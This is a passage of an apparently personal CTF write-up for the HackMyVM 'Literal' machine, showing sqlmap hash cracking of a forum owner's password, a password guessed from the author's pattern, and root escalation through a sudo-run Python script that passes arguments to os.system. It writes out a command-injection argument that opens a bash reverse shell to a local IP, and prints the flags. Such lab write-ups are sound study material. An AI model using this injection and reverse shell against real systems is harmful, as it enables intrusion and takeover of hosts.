[3] file with list of dictionary files
182
> 1
183
[06:15:09] [INFO] using default dictionary
184
do you want to use common password suffixes? (slow!) [y/N] y
185
[06:15:11] [INFO] starting dictionary-based cracking (sha512_generic_passwd)
186
[06:15:11] [INFO] starting 8 processes
187
[06:15:17] [INFO] using suffix '1'
188
[06:15:23] [INFO] using suffix '123'
189
[06:15:30] [INFO] using suffix '2'
190
[06:15:36] [INFO] using suffix '12'
191
[06:15:43] [INFO] using suffix '3'
192
[06:15:51] [INFO] using suffix '13'
193
[06:15:57] [INFO] using suffix '7'
194
[06:16:05] [INFO] using suffix '11'
195
[06:16:12] [INFO] using suffix '5'
196
[06:16:19] [INFO] using suffix '22'
197
[06:16:26] [INFO] using suffix '23'
198
[06:16:33] [INFO] using suffix '01'
199
[06:16:39] [INFO] using suffix '4'
200
[06:16:46] [INFO] using suffix '07'
201
[06:16:53] [INFO] using suffix '21'
202
[06:17:00] [INFO] using suffix '14'
203
[06:17:07] [INFO] using suffix '10'
204
[06:17:13] [INFO] using suffix '06'
205
[06:17:20] [INFO] using suffix '08'
206
[06:17:26] [INFO] using suffix '8'
207
[06:17:33] [INFO] using suffix '15'
208
[06:17:39] [INFO] using suffix '69'
209
[06:17:46] [INFO] using suffix '16'
210
[06:17:52] [INFO] using suffix '6'
211
[06:17:59] [INFO] using suffix '18'
212
[06:18:06] [INFO] using suffix '!'
213
[06:18:13] [INFO] using suffix '.'
214
[06:18:20] [INFO] using suffix '*'
215
[06:18:27] [INFO] using suffix '!!'
216
[06:18:34] [INFO] using suffix '?'
217
[06:18:40] [INFO] using suffix ';'
218
[06:18:47] [INFO] using suffix '..'
219
[06:18:53] [INFO] using suffix '!!!'
220
[06:19:01] [INFO] using suffix ', '
221
[06:19:08] [INFO] using suffix '@'
222
[06:19:15] [WARNING] no clear password(s) found
223
Database: forumtesting
224
Table: forum_owner
225
[1 entry]
226
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
227
| id | email                           | created    | password                                                                                                                         | username |
228
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
229
| 1  | carlos@forumtesting.literal.htb | 2022-02-12 | 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99 | carlos   |
230
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
231

232
[06:19:15] [INFO] table 'forumtesting.forum_owner' dumped to CSV file '/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv/dump/forumtesting/forum_owner.csv'
233
[06:19:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/forumtesting.literal.hmv'
234

235
[*] ending @ 06:19:15 /2025-09-07/

破解得到：carlos:forum100889，但是却登录失败，看了大佬的博客才知道这个联系着社工

网站论坛名字为forumtesting，社会工程学来看他密码取为forum100889是因为对应着平台前五位以及数字，作者的常用密码格式就是xxxxx100889,所以他的ssh密码可能为ssh100889

提权

1
carlos@literal:~$ sudo -l
2
Matching Defaults entries for carlos on
3
    literal:
4
    env_reset, mail_badpass,
5
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
6

7
User carlos may run the following
8
        commands on literal:
9
    (root) NOPASSWD:
10
        /opt/my_things/blog/update_project_status.py
11
        *
12
carlos@literal:~$ cat /opt/my_things/blog/update_project_status.py
13
#!/usr/bin/python3
14

15
# Learning python3 to update my project status
16
## (mental note: This is important, so administrator is my safe to avoid upgrading records by mistake) :P
17

18
'''
19
References:
20
* MySQL commands in Linux: https://www.shellhacks.com/mysql-run-query-bash-script-linux-command-line/
21
* Shell commands in Python: https://stackabuse.com/executing-shell-commands-with-python/
22
* Functions: https://www.tutorialspoint.com/python3/python_functions.htm
23
* Arguments: https://www.knowledgehut.com/blog/programming/sys-argv-python-examples
24
* Array validation: https://stackoverflow.com/questions/7571635/fastest-way-to-check-if-a-value-exists-in-a-list
25
* Valid if root is running the script: https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg
26
'''
27

28
import os
29
import sys
30
from datetime import date
31

32
# Functions ------------------------------------------------.
33
def execute_query(sql):
34
    os.system("mysql -u " + db_user + " -D " + db_name + " -e \"" + sql + "\"")
35

36
# Query all rows
37
def query_all():
38
    sql = "SELECT * FROM projects;"
39
    execute_query(sql)
40

41
# Query row by ID
42
def query_by_id(arg_project_id):
43
    sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
44
    execute_query(sql)
45

46
# Update database
47
def update_status(enddate, arg_project_id, arg_project_status):
48
    if enddate != 0:
49
        sql = f"UPDATE projects SET prodateend = '" + str(enddate) + "', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
50
    else:
51
        sql = f"UPDATE projects SET prodateend = '2222-12-12', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
52

53
    execute_query(sql)
54

55
# Main program
56
def main():
57
    # Fast validation
58
    try:
59
        arg_project_id = sys.argv[1]
60
    except:
61
        arg_project_id = ""
62

63
    try:
64
        arg_project_status = sys.argv[2]
65
    except:
66
        arg_project_status = ""
67

68
    if arg_project_id and arg_project_status: # To update
69
        # Avoid update by error
70
        if os.geteuid() == 0:
71
            array_status = ["Done", "Doing", "To do"]
72
            if arg_project_status in array_status:
73
                print("[+] Before update project (" + arg_project_id + ")\n")
74
                query_by_id(arg_project_id)
75

76
                if arg_project_status == 'Done':
77
                    update_status(date.today(), arg_project_id, arg_project_status)
78
                else:
79
                    update_status(0, arg_project_id, arg_project_status)
80
            else:
81
                print("Bro, avoid a fail: Done - Doing - To do")
82
                exit(1)
83

84
            print("\n[+] New status of project (" + arg_project_id + ")\n")
85
            query_by_id(arg_project_id)
86
        else:
87
            print("Ejejeeey, avoid mistakes!")
88
            exit(1)
89

90
    elif arg_project_id:
91
        query_by_id(arg_project_id)
92
    else:
93
        query_all()
94

95
# Variables ------------------------------------------------.
96
db_user = "carlos"
97
db_name = "blog"
98

99
# Main program
100
main()

1
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py
2
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
3
| proid | proname                                                      | prodatecreated      | prodateend | prostatus |
4
+-------+--------------------------------------------------------------+---------------------+------------+-----------+
5
|     1 | Ascii Art Python - ABCdario with colors                      | 2021-09-20 17:51:59 | 2021-09-20 | Done      |
6
|     2 | Ascii Art Python - Show logos only with letter A             | 2021-09-20 18:06:22 | 2222-12-12 | To do     |
7
|     3 | Ascii Art Bash - Show musical stores (WTF)                   | 2021-09-20 18:06:50 | 2222-12-12 | To do     |
8
|     4 | Forum - Add that people can send me bug reports of projects  | 2023-04-07 17:40:41 | 2023-11-01 | Doing     |
9
|     5 | Validate syntax errors on blog pages                         | 2021-09-20 18:07:43 | 2222-12-12 | Doing     |
10
|     6 | Script to extract info from files and upload it to any DB    | 2021-09-20 18:07:58 | 2222-12-12 | Doing     |
11
|     7 | Forum - Implement forum form                                 | 2023-04-07 17:46:38 | 2023-11-01 | Doing     |
12
|     8 | Add that people can create their own projects on DB          | 2021-09-20 18:49:52 | 2222-12-12 | To do     |
13
|     9 | Ascii Art C - Start learning Ascii Art with C                | 2021-09-20 18:50:02 | 2222-12-12 | To do     |
14
|    10 | Ascii Art Bash - Welcome banner preview in blog home         | 2021-09-20 18:50:08 | 2222-12-12 | To do     |
15
|    11 | Blog - Create login and register form                        | 2023-04-07 17:40:28 | 2023-08-21 | Done      |
16
|    12 | Blog - Improve the appearance of the dashboard/projects page | 2021-09-20 18:50:18 | 2222-12-12 | Doing     |
17
+-------+--------------------------------------------------------------+---------------------+------------+-----------+

分析：

sudo权限：用户carlos可以以root身份无密码运行 /opt/my_things/blog/update_project_status.py *（注意通配符*）
脚本漏洞：脚本使用 os.system() 来执行MySQL查询，但没有正确过滤用户输入。

代码执行点：在 execute_query() 函数中：

pythonos.system(“mysql -u ” + db_user + ” -D ” + db_name + ” -e "" + sql + """)

1
sudo /opt/my_things/blog/update_project_status.py '1" && bash -c "bash -i >& /dev/tcp/192.168.0.106/4444 0>&1" #' Doing

1
(remote) root@literal:/home/carlos# cat user.txt
2
6d3c8a6c73cf4f89eea7ae57f6eb9222
3

4
(remote) root@literal:/root# cat root.txt
5
ca43cb966ef76475d9e0736feeb9f730

Thanks for reading!

HMV-Literal

Thu Jan 15 2026

420 words · 2 minutes

Documentation Hackmyvm Hackmyvm Linux Machine Enumeration Password Attacks SQL Injection Privilege Escalation